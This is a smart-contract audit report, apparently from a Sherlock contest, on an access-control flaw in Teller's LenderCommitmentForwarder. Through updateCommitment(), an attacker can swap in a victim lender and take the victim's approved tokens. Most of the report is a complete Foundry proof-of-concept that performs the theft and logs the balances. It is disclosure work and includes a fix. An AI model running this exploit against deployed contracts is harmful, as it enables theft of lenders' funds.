dingo

high

# [H-02] Attacker can steal all approved lender's assets without lost of collateral over updateCommitment() function.

## Summary
SC: LenderCommitmentForwarder.sol
Type: Critical

LenderCommitmentForwarder contract has been developed for cases where lender can publish commitment revolve loan for white listed borrowers with good reputation where they could take loan any time. repay and take loan again in any time.

The core of vulnerability is lying in 2 functions: ` createCommitment()` and `updateCommitment()`. 
Attacker can create custom commitment, than update it, bypass modificator `commitmentLender()` and steal any assets which are currently approved to contract by lender. The main reason than modifier `commitmentLender()` compare msg.sender with data in mapping, not t new input struct(which was changed by attacker). 

## Vulnerability Detail
Step by step attack vector:
1) Attacker is looking for a lender at protocol who already has issued revolve loan or had it before and choose lender who approved maximum amount's to protocol. Or chose them all. 
2) Attacker call `createCommitment()` with custom parameters, like amount(he can use approved amount here), zero collateral and add array with white listed borrowers where he added own address(attacker's). 
3) Attacker call `updateCommitment()` where he insert same `Commitment` struct but white one change, he must change `lender` field from his address to victim's (lender address),
4) Attacker call `acceptCommitment()` with custom ID of commitment created before. 
Now lender's assets age going to attacker without collateral.

Foundry test:
1) Create `H-02.t.sol `and run `forge test --match-path tests/TellerV2/H-02.t.sol -vvvv` 
2) Test code:  
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "forge-std/Test.sol";
import "../../contracts/TellerV2.sol";
import "../tokens/TestERC20Token.sol";
import "./User.sol";
import "../../contracts/EAS/TellerAS.sol";
import "../../contracts/EAS/TellerASEIP712Verifier.sol";
import "../../contracts/EAS/TellerASRegistry.sol";
import {ReputationManager} from "../../contracts/ReputationManager.sol";
import "../../contracts/CollateralManager.sol";
import "../../contracts/LenderManager.sol";
import {MarketRegistry} from "../../contracts/MarketRegistry.sol";
import "../../contracts/LenderCommitmentForwarder.sol";  
import { LenderCommitmentForwarder } from "../../contracts/LenderCommitmentForwarder.sol";  
import "../../contracts/escrow/CollateralEscrowV1.sol";
import "@openzeppelin/contracts/proxy/beacon/UpgradeableBeacon.sol";

contract MyTest is Test {

    address public attacker = vm.addr(12345);
    address public borrowerTrusted = vm.addr(123456);

    TellerV2 tellerV2;
    TestERC20Token lendingToken;
    TestERC20Token lendingTokenZeroDecimals;
    User borrower;
    User lender;
    User marketOwner;
    User trustedForwarder;
    MarketRegistry marketRegistry;
    ReputationManager reputationManager;
    CollateralManager collateralManager;
    LenderManager lenderManager;
    LenderCommitmentForwarder lenderCommitmentForwarder;
    CollateralEscrowV1 collateralEscrowV1;
    UpgradeableBeacon upgradeableBeacon;
   
    TellerAS tellerAS;
    TellerASEIP712Verifier tellerASEIP712Verifier;
    TellerASRegistry tellerASRegistry;

    function setUp() public {

        borrower                  = new User();
        lender                    = new User();
        marketOwner               = new User();
        trustedForwarder          = new User(); //~
        tellerV2                  = new TellerV2(address(this)); //trustedForwarder in const
        tellerASEIP712Verifier    = new TellerASEIP712Verifier();
        tellerASRegistry          = new TellerASRegistry();
        tellerAS                  = new TellerAS(tellerASRegistry,tellerASEIP712Verifier);

        marketRegistry            = new MarketRegistry();
        reputationManager         = new ReputationManager();
        collateralManager         = new CollateralManager();
        lenderManager             = new LenderManager(marketRegistry);
        lenderCommitmentForwarder = new LenderCommitmentForwarder(address(tellerV2),address(marketRegistry));
        collateralEscrowV1        = new CollateralEscrowV1();
        upgradeableBeacon         = new UpgradeableBeacon(address(collateralEscrowV1));

        lendingToken              = new TestERC20Token("Wrapped Ether", "WETH", 1e30, 18);
        lendingTokenZeroDecimals  = new TestERC20Token(
            "Wrapped Ether",
            "WETH",
            1e16,
            0
        );
        deal({token: address(lendingToken), to: address(lender), give: 100e18});
        deal({token: address(lendingToken), to: address(borrower), give: 100e18});
        vm.prank(address(lender));
        lendingToken.approve(address(tellerV2),100e18);
        vm.prank(address(borrower));
        lendingToken.approve(address(tellerV2),100e18);
        //log
        
        reputationManager.initialize(address(tellerV2));
        marketRegistry.initialize(tellerAS);
        collateralManager.initialize(address(upgradeableBeacon),address(tellerV2));
        tellerV2.initialize(
            0,  //_protocolFee
            address(marketRegistry),
            address(reputationManager),
            address(lenderCommitmentForwarder),
            address(collateralManager),
            address(lenderManager)
        );
    }

    function testLive() public {

        console.log("===========================BEFORE attack=============================================");
        console.log("Lender ERC20 balance:            ",lendingToken.balanceOf(address(lender)));
        console.log("attacker ERC20 balance:          ",lendingToken.balanceOf(address(attacker)));

        //===============================MARKET OWNER ACTION==================================
        vm.startPrank(address(marketOwner));
        marketRegistry.createMarket(
            address(marketOwner),
            30 days,  //_paymentCycleDuration
            1 days,       //_paymentDefaultDuration 
            1 days,   //_bidExpirationTime
            0,        //feePercent  <<==Fee is 0
            false,    //lenderAttest
            false,    //borrowerAttest
            "mytestURI"
        );
        tellerV2.setTrustedMarketForwarder(1,address(lenderCommitmentForwarder));
        vm.stopPrank();

        //================================LENDER ACTION=======================================
        vm.startPrank(address(lender));
        LenderCommitmentForwarder.Commitment memory commitment = LenderCommitmentForwarder.Commitment({
            maxPrincipal: 10e18,
            expiration: 100000,
            maxDuration: 365 days,
            minInterestRate: 0,
            collateralTokenAddress: address(lendingToken),
            collateralTokenId: 0,
            maxPrincipalPerCollateralAmount: 0,
            collateralTokenType: LenderCommitmentForwarder.CommitmentCollateralType.NONE,
            lender: address(lender),
            marketId: 1,
            principalTokenAddress: address(lendingToken)
        });
        
        address[] memory borrowersWL = new address[](1);
        borrowersWL[0] = address(borrowerTrusted);

        //neccesary if you want to use(lend or borrow) revolve loans
        tellerV2.approveMarketForwarder(1,address(lenderCommitmentForwarder)); 

        //Now lender create own revolve with white list.
        lenderCommitmentForwarder.createCommitment(commitment, borrowersWL);
        vm.stopPrank();
        //================================ATTACKER ACTION===================================
        vm.startPrank(attacker);
        //commitment created by attacker
        LenderCommitmentForwarder.Commitment memory commitment2 = LenderCommitmentForwarder.Commitment({
            maxPrincipal: 100e18,
            expiration: 100000,
            maxDuration: 365 days,
            minInterestRate: 10_00,
            collateralTokenAddress: address(lendingToken),
            collateralTokenId: 0,
            maxPrincipalPerCollateralAmount: 0,
            collateralTokenType: LenderCommitmentForwarder.CommitmentCollateralType.NONE,
            lender: attacker, //put here own address
            marketId: 1,
            principalTokenAddress: address(lendingToken)
        });
        address[] memory borrowersWLFake = new address[](1);
        borrowersWLFake[0] = attacker;
        
        //Now attacker create own revolve with custom parameters)
        lenderCommitmentForwarder.createCommitment(commitment2, borrowersWLFake);
     
        //Attacker create new struct(commitment) and call updateCommitment.
        LenderCommitmentForwarder.Commitment memory commitment3 = LenderCommitmentForwarder.Commitment({
            maxPrincipal: 100e18,
            expiration: 100000,
            maxDuration: 365 days,
            minInterestRate: 10_00,
            collateralTokenAddress: address(lendingToken),
            collateralTokenId: 0,
            maxPrincipalPerCollateralAmount: 0,
            collateralTokenType: LenderCommitmentForwarder.CommitmentCollateralType.NONE    ,
            lender: address(lender), //put here victim's address
            marketId: 1,
            principalTokenAddress: address(lendingToken)
        });
        //call update
        lenderCommitmentForwarder.updateCommitment(1, commitment3);

        tellerV2.approveMarketForwarder(1,address(lenderCommitmentForwarder));

        //call accept
        lenderCommitmentForwarder.acceptCommitment(
            1,
            100e18, //amount to steal
            0,
            0,
            address(lendingToken),
            10_00,
            365 days
        );

        console.log("===========================AFTER attack=============================================");
        console.log("Lender ERC20 balance:            ",lendingToken.balanceOf(address(lender)));
        console.log("attacker ERC20 balance:          ",lendingToken.balanceOf(address(attacker)));
                
    }
}
```
As a result we see attacker steal lender's all approved ERC2O tokens.
![image](https://user-images.githubusercontent.com/106747559/233694805-7f78ec89-aa6c-4654-920f-abc4665964c0.png)


## Impact
Attacker can steal all approved tokens.

## Code Snippet
https://github.com/sherlock-audit/2023-03-teller/blob/main/teller-protocol-v2/packages/contracts/contracts/LenderCommitmentForwarder.sol#L208

## Tool used
Manual Review

## Recommendation
Modifier `commitmentLender()` must compare msg.sender with new inputed struct. Not with data in mapping.